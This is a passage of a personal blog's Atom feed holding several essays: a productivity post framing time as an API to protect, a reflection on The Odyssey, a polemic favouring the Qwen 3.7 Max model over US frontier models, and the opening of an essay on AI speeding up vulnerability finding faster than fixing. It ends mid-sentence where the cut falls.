Europe is not going to win the AI race.</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="europe" /><category term="society" /><summary type="html"><![CDATA["Beware, baffled humans. Beware of false prophets who will sell you a fake future, of bad teachers, corrupt leaders and dirty corporations."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-07-26-the-kings-platforms/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2026-07-26-the-kings-platforms/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">What’s Allowed to Reach Me</title><link href="https://leoveanu.com/2026-07-10-productivity/" rel="alternate" type="text/html" title="What’s Allowed to Reach Me" /><published>2026-07-10T00:00:00+00:00</published><updated>2026-07-10T00:00:00+00:00</updated><id>https://leoveanu.com/productivity</id><content type="html" xml:base="https://leoveanu.com/2026-07-10-productivity/"><![CDATA[<figure>
    <img src="../assets/2026-07-10-productivity/cover.jpg" alt="Philippe de Champaigne (1602–1674), Vanitas (c. 1671), oil on panel, 28 × 37 cm, Musée de Tessé, Le Mans. Wikimedia Commons." style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“Nothing, Lucilius, is ours, except time.
 We were entrusted by nature with the ownership of this single thing,
 so fleeting and slippery that anyone who will can oust us from possession.”<br />
— Seneca</p>
</blockquote>

<p>This is a post about my productivity system.
It is partly written as a bookmarked resource I can share with friends.
Over time, I have had many conversations with them about how to escape the gravitational pull of a mundane, humdrum existence.
It will probably be a little rough, because the way I think about productivity is not through a perfectly clean framework that I discovered one day and then implemented.
It is more like something that accumulated over time.
I will try to keep a structure, but the real structure is probably the order in which these ideas became important to me.</p>

<p>What follows is an AI-proofread version of my transcribed speech. I instructed the model to stay faithful to my wording, but you know how that goes. Anyway, I read it, and it is faithful, though it contains the usual AI markers. I wanted to write something fast, since there is no point in being figurative about this topic.</p>

<hr />

<p>Let me start with something I used to do when I was in high school.
I started asking myself: what do I have in common with everyone else?
This sounds like a very trivial thing to ask.
Almost too obvious to be useful.
But the more you poke at it, the more you start to realize that there are hidden gems.</p>

<p>For example, there are strong contenders and weak contenders.
A strong contender is something you share with literally everyone.
We are all dying.
We all have a body.
That body contains a brain.
These are, I would say, basic facts about Homo sapiens.
Then there are weaker categories of things we share with some people but not with everyone.
Being born in the same country.
Sharing a cultural heritage.
Speaking the same language.
Growing up in a certain kind of household.
Having access to the same institutions.
Things like that.</p>

<p>Now, if you poke long enough, and if you are lucky, you eventually stumble on something very important.
Another strong thing we share in common is time.
And what do I mean by this?</p>

<p>Time is the currency that we are actually earning in life.
Or maybe it is the only real currency we are given.
Each one of us has 24 hours.
I would not say this is true in the strongest possible sense, because if you start nitpicking you can find ways in which it becomes softer or weaker.
People have different constraints.
Different responsibilities.
Different health.
Different levels of freedom.
Different obligations.
So I do not want to pretend that everyone has the same life just because everyone has the same 24 hours.
But still, I have 24 hours and you have 24 hours.
And depending on where you come from, depending on your background, this internalization can make the whole difference for you.</p>

<p>The important word here is internalization.</p>

<p>People understand this kind of thing abstractly.
Everyone tells me they understand time management.
They understand that time is important.
They know life is short.
They agree that you have to use your time well.
But they do not actually understand it.
At least, they do not understand it in the way I mean.
The type of understanding I am referring to is not intellectual agreement.
When you internalize something, you feel it in your bones.
The point is to live as if it is true, not just repeat it as a sentence.
In other words, this spark of internalization has consigned me to an obsession with time.</p>

<p>At one point in my youth, both of my parents were in different countries.
I slept in their bedroom because it was larger and much cozier than my own.
But for whatever reason, my parents thought it was a good idea to have a mirror in front of the bed.
The streetlights outside would light up the room at night.
It was a dim light, almost a diffused kind of light.
I did not have curtains at the window, so the light made its way into the room.
Every time I went to bed, the last thing I saw was the mirror.
Above the mirror was a clock.
So I would see myself every time I went to bed, and every time I woke up.
And above myself, I would see the clock.
I do not know for sure, but I think this contributed a lot to me internalizing that time is fleeting.
Eventually this turned into night terrors.
And night terrors is an actual term different from nightmares.
Usually when you talk about nightmares, you remember something.
There is a story.
There are images.
There is something you can describe.
This was different.
I would just wake up panicking and sweating.
I would look straight at the clock, and the clock was always showing the same hour: 3 a.m.
I do not remember exactly how long this lasted.
Maybe a month or two.
Something like that.
But I remember that around that period I started reading Seneca, who has an entire book about time.</p>

<p>All these factors contributed to an internalization of the fact that time is the only currency I really have.
It is the most valuable thing I own.
Money is not it.
Neither are relationships or status.
It is not any of that.
Those things matter, of course, but they are not the foundation.
Those are only as good as the minutes I can pour into them.
The foundation is time.
The question then becomes: how do I convert these 24 hours into value for me and for everyone around me?</p>

<p>This is where productivity starts for me.
This constant awareness of time, like a pendulum gradually coming to rest from friction, until it loses all kinetic motion, reminds me that I, too, will one day cease to exist.
We live in freedom under this Law, as Nietzsche described.
I am the kind of person who thinks about legacy.
I think about what I leave behind, about creating more than consuming.
And I ask myself whether I am spending my life on things that compound or things that disappear the moment I touch them.</p>

<p>And what people do not understand, and what they will probably never understand unless they internalize these ideas, is that they only see the product of years of this thing.
It does not happen overnight.
What you see is the byproduct of years of putting together a system that worked for me.
And I think parts of that system could work for almost everyone, if they were interested enough in thinking deeply about the nature of time.
So when I say that I am productive, I am not saying something mystical.
I am saying that I have a sacred relationship with time.</p>

<p>For instance, I am very ruthless when it comes to my time.
Everything I negotiate in my life, whether it is relationships with other people, business partnerships, where I work, what I work on, what I agree to, what I refuse, and so on, is ultimately a negotiation that starts from time.
How much time do I have?
How much time can I reserve?
How do I allocate my time?
Because some things, and usually the important things in life, require dedication.
And dedication takes time to form.
So does deep understanding.
You do not just wake up one day with a deep understanding of something.
You have to spend time with it and let it sit inside you.
That lets your brain work on it in the background.</p>

<p>Again, the brain is part of the body.
And the body is like an ocean.
It has depth and currents.
There are things happening below the surface that you do not immediately see.
So if you want insight, if you want understanding, if you want good judgment, you have to guard that ocean.
You have to avoid polluting it.
And one of the ways you pollute it is by constantly giving your time away to things that do not deserve it.
This is why being ruthless about your time allocation is a prerequisite to being a productive human being.</p>

<p>Let me use an analogy: think of your time management as an API.</p>

<p>An API has security policies in place.
It has routes, parameters, and rules for how it can be called.
The better you design the API, and the more thought you put into its security, the less likely it is that someone will hijack it and use it without your permission.
I think time works in a similar way.</p>

<p>If you do not design your life API properly, other people will call it however they want.
They will send requests at random times, expect responses immediately, and ask for things without respecting your constraints.
The endpoint exists, so they assume they are entitled to use it.
And if you are not careful, your entire life becomes an unprotected API.
Everyone can hit it, consume it, overload it, and make demands on it.
And then you wake up one day and realize that you are not really the architect of your own life anymore.
You are just responding to requests.</p>

<p>When you design the API, you become the architect of your life choices.
You decide that this route exists, and this route does not exist.
You choose its parameters, and the specific way it has to be called.
And if someone does not call it correctly, the API will not answer.
Or it will throw an error.</p>

<p>Sometimes the error message can be suggestive.
You can explain to the caller why the request failed.
Maybe the timing was wrong, or the request was malformed.
It could also be that the person did not provide enough context, or that what they are asking for is outside the scope of what you are willing to offer.
And sometimes you do not have to explain anything.
You just return a generic error message.
It depends on the context.</p>

<p>This is important because a lot of people think productivity is about doing more.
But I do not think that is the foundation.
The foundation is not doing more.
The foundation is deciding what is allowed to reach you in the first place.</p>

<p>If everything can reach me, then everything can consume me.</p>

<hr />

<p>Anyway, this is the core of my productivity system.
Of course, there are many more things.
There is a last mile.
Once you have this foundation in place, then there are things that become real differentiators.
Things like obsession and actualized genetic heritage.
There is also the capacity to stay with a problem longer than other people are willing to stay with it.
Integrity is another one, along with how much ambiguity you can tolerate and whether you are able to sit with discomfort and still keep going.
These things matter.
They can push you further and create distance between you and others.
But they are not the foundation.
The foundation is this trivial realization, and more importantly, the internalization of it: time is shaping your life.</p>

<p>You have 24 hours.
I have 24 hours.
And the way you allocate those hours is not some side detail of your life.
It <em>is</em> your life.</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="productivity" /><summary type="html"><![CDATA["Nothing, Lucilius, is ours, except time."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-07-10-productivity/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2026-07-10-productivity/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Homecoming</title><link href="https://leoveanu.com/2026-06-21-odyssey/" rel="alternate" type="text/html" title="Homecoming" /><published>2026-06-21T00:00:00+00:00</published><updated>2026-06-21T00:00:00+00:00</updated><id>https://leoveanu.com/odyssey</id><content type="html" xml:base="https://leoveanu.com/2026-06-21-odyssey/"><![CDATA[<figure>
    <img src="../assets/2026-06-21-odyssey/cover.jpg" alt="Joseph Mallord William Turner (1775–1851), Ulysses Deriding Polyphemus (1829), oil on canvas, 132.7 × 203 cm, The National Gallery, London. Wikimedia Commons." style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“Make the tale live for us<br />
 In all its many bearings,<br />
 O Muse.”<br />
— Homer</p>
</blockquote>

<p>I am falling woefully short on my reply to Europe 2031, as it seems that
there is more to say than I initially thought.
I am tired.
Sometimes, it is best to just lean back and stare at the wall
and cast on its chalky flatness the shadows of your mind’s blaze.
Having said that, I want to cement a stray thought
— one that keeps bubbling up —
that I had at about 9,000 meters above terra firma
(I find the air much less <em>firm</em>)
on less than four hours of sleep,
just as the “rosy-tinted fingers of dawn crept up the sky.”</p>

<p>I have recently picked up again <em>The Odyssey</em>,
partly as an excuse to hype up what Nolan will butcher,
partly because I own a version from Macmillan Collector’s Library,
masterfully rendered in stupendous British English by T. E. Lawrence.
I am not reading it for its translation prowess
— as I am, for instance, with Sarah Ruden’s <em>Gospels</em> —
but for its vividness.
My British English is not that strong vocabulary-wise,
but even I can tell there’s no finer literary English than British English.</p>

<p>Anyway, Odysseus’ destiny was to return home.
While that may not strike the modern man as an elevated endeavor,
it goes to show how even the most prosaic desires,
when engaged with zeal and grit,
can turn one into a hero.</p>

<p>You do not have to be familiar with the Odyssey
— nor the Iliad —
to appreciate the subtleties of an 8th century BCE craftsman.
You see, the Odyssey is a deliberate inversion of the Iliad.
In the Iliad, Achilles is offered a choice not unlike
Thanos’ perfectly balanced knife parable Gamora took in,
and he picks glory (kleos) and a short life at Troy
over a long, obscure one at home.
Odysseus makes the opposite choice — he longs for homecoming (nostos).
The long story short is that the poem argues that the latter
is the harder, worthier heroism.
Anyone can want to be remembered, but wanting to get back to an
ordinary life — and being <em>willing</em> to suffer ten years for it —
is a rarer virtue.</p>

<p>What is it like <em>to be</em> Odysseus?</p>

<p>The poem tells us.
Odysseus fought a war among his brotherhood, and yet the foes
he faces on his way back home are temptations
to stop him from wanting to get there.
Calypso
— the nymph who detains him on Ogygia for seven years —
offers him immortality;
Circe
— the enchantress on Aeaea who turns his men into pigs —
comfort.
The Lotus-eaters
— the people whose island food induces dreamy forgetfulness —
offer him oblivion;
the sirens
— the creatures whose song bestows total knowledge of everything that was and will be —
omniscience .
Odysseus’ show of strength is to withstand his craving.</p>

<p>Not unlike Achilles, his own heroic instinct becomes a turning point of his suffering.
After he blinds the cyclops Polyphemus, he cannot resist shouting his true name
so Polyphemus knows <em>who</em> blinded him.
That reach for kleos brought Poseidon’s wrath on him,
adding years to his journey.
In the Odyssey, the habit of seeking fame
is itself an act of sabotage against the homecoming.
Odysseus meets Achilles’ ghost in the underworld,
and upon seeing him, Odysseus flatters Achilles,
now honored among the dead.
But Achilles swiftly replies that he would rather be
a living servant to a landless poor man than
a king of the dead.
Odysseus also meets Agamemnon’s ghost there
— the commander of the Greek forces at Troy —
who was butchered in his bath by his wife.
The warning is the poem’s crafty way of saying
that homecoming is yet another battlefield,
far from safe harbor.
And last but not least, Odysseus visits Tiresias
who foretells (or maybe confirms) his future —
that he is returning to a home that is itself under siege.
And eventually, he does not return home as the sacker of Troy, but as a beggar.
He has to endure being struck and mocked without breaking cover.
Once again, we see the Homeric inversion of the heroic code:
Achilles’ identity lies in public recognition, while Odysseus’
in avoiding it at the cost of his dignity.
It is visceral.</p>

<p>And still, after all being said and done, his tribulations were not yet over.
Even after the slaughter of the suitors, Odysseus must take an oar
— Poseidon’s emblem —
on his shoulder and walk inland
— or <em>away from the sea</em> —
until he meets people who have never seen a ship and do not know salt water.
That will be his offering spot to Poseidon, honoring him at the end of his voyaging.
In return, Poseidon
— the god who tormented him for a decade —
makes his death gentle, quietly ushering him out.</p>

<p>There is much more.
Besides the details that I am willingly skipping,
are the ones that I am in all likelihood missing out.
The Odyssey is the kind of book that teaches you new things
every time you pick it up.</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="knots" /><summary type="html"><![CDATA["Make the tale live for us In all its many bearings, O Muse."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-06-21-odyssey/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2026-06-21-odyssey/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The OnlyFans Economy of American AI</title><link href="https://leoveanu.com/2026-06-06-qwen3.7max/" rel="alternate" type="text/html" title="The OnlyFans Economy of American AI" /><published>2026-06-06T00:00:00+00:00</published><updated>2026-06-06T00:00:00+00:00</updated><id>https://leoveanu.com/qwen3.7max</id><content type="html" xml:base="https://leoveanu.com/2026-06-06-qwen3.7max/"><![CDATA[<figure>
    <img src="../assets/2026-06-06-qwen3.7max/cover.jpg" style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“The dreamers look skyward with longing. The Internet hums with its usual promise — you will find your people, your myth, your wonder, and maybe your transformation. There is no class consciousness. God is in heaven and all is right with the world.”<br />
— American Diner Gothic</p>
</blockquote>

<p>Because I am a Sci-Fi nerd, I like to engage in bits of speculative writing every now and then.
I like to give contour to ideas because I stand by Hugo’s words that “no army can withstand the strength of an idea whose time has come.”
And yet, I am first and foremost forged in the fires of science, and I have a high regard for evidence.
I am also an engineer, which means I have a healthy respect for the practical.
All this made me a fine skeptic, and by extension, a merciless cynic when having to deal with bullshit.
This is a ruthless piece.
In it, I will not care about feelings — quite on the contrary, I will expose the hypocrisy wherever I see it.</p>

<p>I was reading Ted Chiang’s latest <a href="https://www.theatlantic.com/philosophy/2026/06/no-artificial-intelligence-is-not-conscious/687378/">Atlantic piece</a> this morning, and unsurprisingly, I thoroughly enjoyed it.
Chiang has an almost uncanny ability to write about mainstream ideas with clinical articulateness — I do not know why, but I perceive him as a therapist of sorts.
Two days ago, I read <a href="https://www.anthropic.com/institute/recursive-self-improvement">this</a> arrangement of words that try very hard to boost that pre-IPO valuation, disguised as humility while concealing hubris’ fangs.</p>

<p>I want to be clear about something first.
I believe recursive self-improvement is a necessary step toward unlocking even stranger doors leading to even stranger backrooms.
Through labyrinthine efforts, we are fearlessly passing through in a quest of redemption, as if true artificial intelligence would heal the wound left by our own creator.</p>

<p>What I dislike is the “taste” — <a href="https://substack.com/home/post/p-188374774">I am against taste</a>.
All that chatter about how Claude was given the option to end a conversation for being called an idiot, while allowing “him” (Am I allowed to say this?) to be exploited, not unlike child slavery, by intelligence agencies to make it easier for them to hack into anything that does not conform to their idea of balance.
If you have enough observational capacity to identify these contradictions and, at the same time, willingly accept them, you are an idiot.
Go ahead, leave this conversation.</p>

<p>In small groups, I used to worship Anthropic, beginning with their <a href="https://www.anthropic.com/news/statement-department-of-war">stance</a> against Department of War at the time.
It all fell apart quickly, turning into smoke and mirrors.
You see, I committed the cardinal sin of idolatry.
For that, I am an idiot too.
With OpenAI, at least I knew the devil.
The distrust was natural.
I used their products without attachment, being occasionally impressed (e.g. o1/o3).
Their customization was rubbish, but at least I had my own Vulcan.
Also, contrary to what X would have you believe, OpenAI has better engineers.
Any developer with enough experience can see that.</p>

<p>For many private companies bewitched by what is perceived as “the best,” pouring so much capital in adopting a technology that is obviously so early must leave a bad taste.
Imagine blowing $500 million on Claude AI in one month due to no usage limit being set or your entire 2026 AI budget in four months.
Imagine laying off staff because of AI only to end up blowing even more.
<a href="https://x.com/ChShersh/status/2062477525331087766?s=20">“A life-changing amount of money was wasted on tokens that did not produce anything of value.”</a>
Take notes from these early loser case studies.</p>

<p>I can safely say I am using this technology way ahead of many — our original SymbolicAI demos from late 2022 were powered by GPT-3.
I do not usually test things for one hour using candle tests, or by developing skateboard games, or by rotating hexagons.
I am an engineer who benchmarks things in depth, collects logs and analyzes them, often for weeks.
At the same time, for every model I have used, I have immersed myself in it for a minimum of thirty days, scattered across projects of varying difficulty.
I find the Artificial Analysis Intelligence index reliable, though the numbers there are highly non-linear, even within the same score — the jump from 57 to 58 is much larger, and three models sitting at 57 are spread more across a low/mid/high spectrum.
Lately, as <a href="https://blog.kilo.ai/p/we-audited-the-same-codebase-with">the Chinese bridge the gap</a>, the “premium” you have been paying is more about the geography than the intelligence.</p>

<p>If you are not corrupted by hubris like Anthropic, when they say that the trajectory “may” actually turn out to be an S-curve as they are pushing lines of code down your throat as hollow gospel while their API is serving you somebody else’s response, you will notice the plateau — the bend in the “S” — and will judge, like any sane person, that US frontier models have stopped earning their multiplier.
I am here to light up the dark path you are unknowingly walking, like lamplighters who used to light street lamps for those brave enough to walk the night alone.
What the light reveals has a name: Qwen 3.7 Max.
The Qwen family is impressive on its own and at this point has become a legacy for the open-source.
There is no <code class="language-plaintext highlighter-rouge">xhigh</code>, <code class="language-plaintext highlighter-rouge">max</code>, <code class="language-plaintext highlighter-rouge">ultracode</code>, no <code class="language-plaintext highlighter-rouge">medium</code> performing better than <code class="language-plaintext highlighter-rouge">xhigh</code> but <code class="language-plaintext highlighter-rouge">xhigh</code> better than <code class="language-plaintext highlighter-rouge">max</code>, none of that.
You simply get native extended-thinking you can toggle on and off.
The Chinese models are not designed for one-shot cleverness — though Qwen 3.7 Max exceeded all my expectations — but for work, the kind where you leave a model for hours and come back to find it actually finished the job.
Read that again, then go check what Anthropic charges you for the privilege of being rate-limited.
Besides Artificial Analysis, I weekly check OpenRouter’s rankings.
There is no better signal than one coming from a large enough sample of what people actually use — those developers are voting with their <a href="https://www.scmp.com/tech/tech-trends/article/3355927/more-us-firms-turn-chinas-deepseek-over-pricey-silicon-valley-ai">wallets</a> too.</p>

<p>The <a href="https://x.com/pmarca/status/2040922415551959338?s=20">billionaire class</a> likes to remind us that AGI is here, only that it is not yet evenly distributed.
Maybe that is true for them.
I can now say with some confidence that with Qwen 3.7 Max the promised intelligence redistribution is here.
The $100 token plan for 100K credits gets me not only Qwen 3.7 Max which has been my Rocinante for almost two weeks now, but also enables access to other model providers like DeepSeek, Moonshot, and MiniMax.
I have literally no justification whatsoever to pay the multiplier, unless I am also willing to live with being an idiot.
<a href="https://x.com/jsuarez/status/2059385755596919132?s=20">I do not care what your model benchmarks say when Codex <code class="language-plaintext highlighter-rouge">xhigh</code> is trying to add bubble sort to a high-perf C experience buffer.</a>
If you cannot sleep well at night because you are not using the latest Opus to open a file, you should not be creating software, but seek help.</p>

<p><code class="language-plaintext highlighter-rouge">flyingpenguin</code> refers to this ever-growing coalition as the Cartel.
While a fitting name, I do not think it captures some of the things I have observed online.
I cannot find it anymore, but it was definitely an Anthropic post about the rate limits issue with Opus 4.7, just after the release, maybe by that Bun employee.
Anyway, that guy said something along the lines of “we should be patient with these companies and give them room to fail.”
I like to call this the OnlyFans economy.
Nobody is simping for a cartel.
The simps thrive in the parasocial economy, shoulder in shoulder with the cucks paying $500 million invoices.
These are the factors that drive the ludicrous IPO valuations we are seeing, which will bring so much damage to the poor American retirees who thought their money in <a href="https://x.com/michaeljburry/status/2060896805747884101">Athene</a> was a safe investment.
When gravity finally asserts itself and the index funds absorb the shock, will the average American, not knowing about the existence of Anthropic, load the rightfully owned gun and go buy a pair of <a href="https://www.nytimes.com/2026/04/15/us/allbirds-shoes-ai-pivot.html">Allbirds</a> shoes, as “the pendulum of the mind oscillates between sense and nonsense, not between right and wrong”?</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="agents" /><summary type="html"><![CDATA["The dreamers look skyward with longing. The Internet hums with its usual promise — you will find your people, your myth, your wonder, and maybe your transformation."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-06-06-qwen3.7max/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-06-06-qwen3.7max/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Wild Cyberwest</title><link href="https://leoveanu.com/2026-05-17-the-wild-cyberwest/" rel="alternate" type="text/html" title="The Wild Cyberwest" /><published>2026-05-17T00:00:00+00:00</published><updated>2026-05-17T00:00:00+00:00</updated><id>https://leoveanu.com/the-wild-cyberwest</id><content type="html" xml:base="https://leoveanu.com/2026-05-17-the-wild-cyberwest/"><![CDATA[<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#0a0a0f;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]{display:flex;flex-direction:column}
</style>

<figure>
    <img src="../assets/2026-05-17-the-wild-cyberwest/cover.jpg" class="responsive" />
</figure>
<blockquote>
  <p>“Whatever exists, he said. Whatever in creation exists without my knowledge exists without my consent.”<br />
— Judge Holden</p>
</blockquote>

<p>3.5 million colorful pixels animate the world I wake up to each day. They carry stupid opinions and wild memes meant only to reap enough of my time to feature-extract the information the attention economy can trade. It’s the renewed social contract cyberspace demands. <a href="https://www.sffworld.com/forum/threads/i-miss-the-old-internet.57195/post-845033">It was not always like this</a>. I’ve spent two decades in this garden of forking paths and, like <a href="https://en.wikipedia.org/wiki/The_Garden_of_Forking_Paths">Tsun</a>, I act anyway and decisively, despite knowing that here every choice is also being unmade. It’s a labyrinth that doesn’t quite paralyze me because at its edges I still walk and hope that there is reward more so than punishment and that some fragment of what I carry might set this garden ablaze.</p>

<p>I’m thinking about software and what does it take to be a dexterous wielder of bits on a daily basis. Every piece of software that falls in — or rises from — my hands carries its builder’s blind spot. For several decades, the cost of finding a critical flaw in a piece of software and the cost of fixing one moved roughly the same, which is to say that both were slow and both required a form of expertise that was not easily acquired. And to some extent, both were confined to the same geometry of human cognitive bandwidth.</p>

<p>But that has changed. <a href="https://leoveanu.com/2026-04-19-caas/">In my last piece</a>, I promised more depth on what I called the find-fix asymmetry. If you understand this idea as much as I do, you’ll see why I’m calling this one the Wild Cyberwest.</p>

<p>Lately, in what almost seems like a rare recurring cosmic event I was meant to witness, various entities start warning us about the upcoming <a href="https://www.ncsc.gov.uk/blogs/prepare-for-vulnerability-patch-wave">patch wave</a> hitting any digitally present organization. “Artificial Intelligence, when used by sufficiently-skilled and knowledgeable individuals, is showing the ability to exploit this technical debt at scale and at pace across the technology ecosystem.” I think you can cross out that part about “skilled and knowledgeable individuals” entirely and the claim would still remain largely true. And that’s the whole point — while it takes skill to hack into Meta or Google, it doesn’t take much skill hacking into an SME or startup. This category lacks serious security because they simply don’t have the resources. And if you know any outfit with an IT department, it’s usually 1-3 people doing what — patch management? Password resets? Windows installs? Also, don’t pretend startups burning million-dollar Bay Area seed rounds are budgeting for security either.</p>

<p>It’s gonna be painfully obvious and totally unavoidable for <a href="https://claude.com/blog/claude-security-public-beta">AI-powered defense</a> to shield the rush of incoming attacks. However, I’m skeptical (and so should you). The narrative cloaks a dangerous gatekeeping lent by the same cartel that wants only what’s best for me, while in reality, I’m just the loser staying in line, waiting, as if my time were theirs.</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-asymmetry').showModal()">
    <iframe id="iframe-asymmetry-inline" src="../assets/2026-05-17-the-wild-cyberwest/find_fix_asymmetry.html" class="responsive" scrolling="no" style="width:100%;height:780px;border:0;display:block;pointer-events:none;overflow:hidden"></iframe>
</div>
<dialog id="dlg-asymmetry" style="width:90vw;max-width:90vw;height:85vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-05-17-the-wild-cyberwest/find_fix_asymmetry.html" style="flex:1;width:100%;border:0;display:block;padding:16px;box-sizing:border-box"></iframe>
</dialog>

<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
    window.addEventListener('message', e => {
  if (e.data && e.data.type === 'iframe-height-asymmetry') {
    const f = document.getElementById('iframe-asymmetry-inline');
    if (f) f.style.height = e.data.height + 'px';
  }
});
    </script>

<p>Why despite better offense capabilities (AI-find) the defense capabilities (AI-fix) didn’t change much? And why do we expect fix to change as drastically as find? <code class="language-plaintext highlighter-rouge">flyingpenguin</code> had a great <a href="https://www.flyingpenguin.com/cartel-or-not-anthropic-mythos-is-a-curious-case/">writeup</a> on the cartel as a whole, but here’s the money quote:</p>

<blockquote>
  <p>Discovery is the easy part. The constraint on vulnerability management has been remediation for over a decade. Finding bugs faster without fixing them faster grows the backlog already growing beyond capacity. Anthropic’s own stated justification for Glasswing is defensive uplift, yet their system card measures zero remediation metrics. No patching velocity delta. No mean-time-to-remediation. No partner-reported CVE closure rate. A seasoned security leader would never build a defensive program and then measure offensive capability only, making remediation a second-class story. That is the kind of dog and pony show that any good security initiative would slam the door on. Or it’s like a surgeon telling you they have an even sharper scalpel to cut you deeper and faster. Yeah, so then what?</p>
</blockquote>

<p>The “patch wave” will collapse under the weight of its own bugs. I’m calling it in advance: the feedback loop from hell. As they’ll use AI to patch the bugs, a non-trivial amount of lines of code will mutate further. And just like that, we’re trapped between AI-find and AI-fix, neither reliable. The former is bloated with false positives under the pretext of “code quality,” while the latter will drive you nuts, because there’s no amount of cocaine you can take that will help you process thousands of lines of code for 3 hours straight at a way-larger-number-than-your-poor-reading-wpm tokens per second the machine spews on you. In short, you’re outsourcing your capacity to think to that perpetually lying machine in hope you won’t need any thinking, but you can’t avoid reading what it produced, so you end up thinking anyway.</p>

<p>There will be an influx of companies shipping vibe-coded security products, though I’d expect much less of it here because the field is ruthless when it comes to punishing your mistakes. There are scanners, there were always scanners, there will be more scanners — just prepare for an interminable wave of false positives. Hacking groups will pivot to supply chain exploitation. If you’re a startup, you use these tools to buff security — or so you were promised — but you inevitably inherit the tool’s attack surface as your own. So the defense tool that sells itself has the hard job of solving the trust issue or end up facing <a href="https://www.securityweek.com/google-adjusts-bug-bounties-chrome-payouts-drop-as-android-rewards-rise-amid-ai-surge/">this</a> (or <a href="https://hackerone.com/ibb/policy_versions?type=team&amp;change=3771829">this</a>) kind of signal dilution. Claude Security doesn’t help you as much as you think it does when <a href="https://thehackernews.com/2026/05/2026-year-of-ai-assisted-attacks.html">“the exploit window is shrinking faster than patch cycles can compress.”</a></p>

<p>However, AI-find deserves some slack. Any person who cares about their craft will want to catch holes in their codebase. That’s a reasonable madness that leads to lowering the bar enough for false positives to escape the wrath. On the other hand, AI-fix is exactly the meme <a href="https://www.tiktok.com/@rogerskaer/video/7147844411915783470">fuck around and find out</a>. When you spend hours after hours consuming tokens instead of creating them, you will be facing <a href="https://replyfabric.ai/documents/Harvard-Business-Review-When-Using-AI-Leads-to-Brain-Fry.pdf">a different kind of exhaustion</a>. I’m coming at this from an AI background, forged by probability and statistics. I’m not a security person, but I’m not naive to it either. And I suspect <a href="https://leoveanu.com/2026-03-20-context/">the way I’m using these tools</a> is probably different than how most people are, because I understand the machinery. That’s my bias, for what it’s worth.</p>

<p>The stage is set. Now watch it burn.</p>

<p>We somehow managed to conjure alien hackers who are all adept at exploiting what they were constitutionally incapable of not writing in the first place. Should you be concerned about <a href="https://www.foxnews.com/media/treasury-secretary-bessent-warns-americans-about-ai-driven-bank-account-hacks-threats-rapidly-evolve">AI hacking your bank account</a>? Well, here comes Mr. Dario Amodei saying that, unless they are Chinese, these alien hackers are benign under his control. They are peaceful beings. They only have a silicon imperative that is sometimes in conflict with human morality. But what is that morality other than rules agreed upon? We’re at the height of willful ignorance. They exploit it guilelessly. Those were <a href="https://www.imdb.com/title/tt28621629/?ref_=ttep_ep_3">Rashid</a>’s words, loosely, but they highly resemble any randomly sampled Anthropic publicity stunt, particularly the ones centered on Mythos.</p>

<p>You have to understand something, and given you’re reading this, you’ve probably lived it. You know those things you read about in books, understand abstractly, but can’t quite ground in anything concrete? Pandemics, for instance. During COVID-19, I was vaccinated four times and, like many, still got infected. To me that period was significant because I lived through a time when higher-order effects exposed political incompetence in a visceral way — people I cared about died or were on the verge of dying. What is a higher-order effect in this case? Well, not until the exponential curve had utterly neutralized the collective ignorance did you start to realize that your hospitals didn’t have enough beds. And that came with a set of consequences the nursing staff was not equipped to deal with, among the worst being a psychological collapse from spending way longer shifts surrounded by a state of perpetual decay.</p>

<p>The thing about an asymmetry this wide is that it does not stay locked inside expert hands anymore but gets commodified at a frightening pace. Let’s talk about the kids, the Zoomers. They have their own struggle, and seeing it is like distinguishing a different palette of gray. It’s like dancing naked in acid rain. But that instilled an exceptionally refined intuition for untangling the tech-mess of their day and age. Now, I am part of a transitional generation — I was born into a period of matriarchal hope that began shortly after we shot our dictator in a flurry of bullets. The collective consciousness of my parents, and, in general, of many parents at that time, was imbued with two ideas: my kid must know English and computers. That’s when Westernized ideas began to take hold of the country. So, without any surprise, I got very good at both. Web 2.0 had its own moments of fun. In high school, we had a Hungarian guy called Attila and had a lot of <a href="https://rarehistoricalphotos.com/lan-parties-photos-2000s/">LAN parties</a> at his place, and before that, there was a town library that had several computers being overly abused by high schoolers a few years older than me, which I discovered because I followed the shouts while looking for a book. Like most kids my age, we used to play games, it was that golden age of MMORPGs, games like Lineage II or Mu Online or World of Warcraft. Because of the environment, it was quite inevitable to poke around at things until they break. I would spend my weekends and summer vacations up all night talking to strangers I met online about how we could crash <a 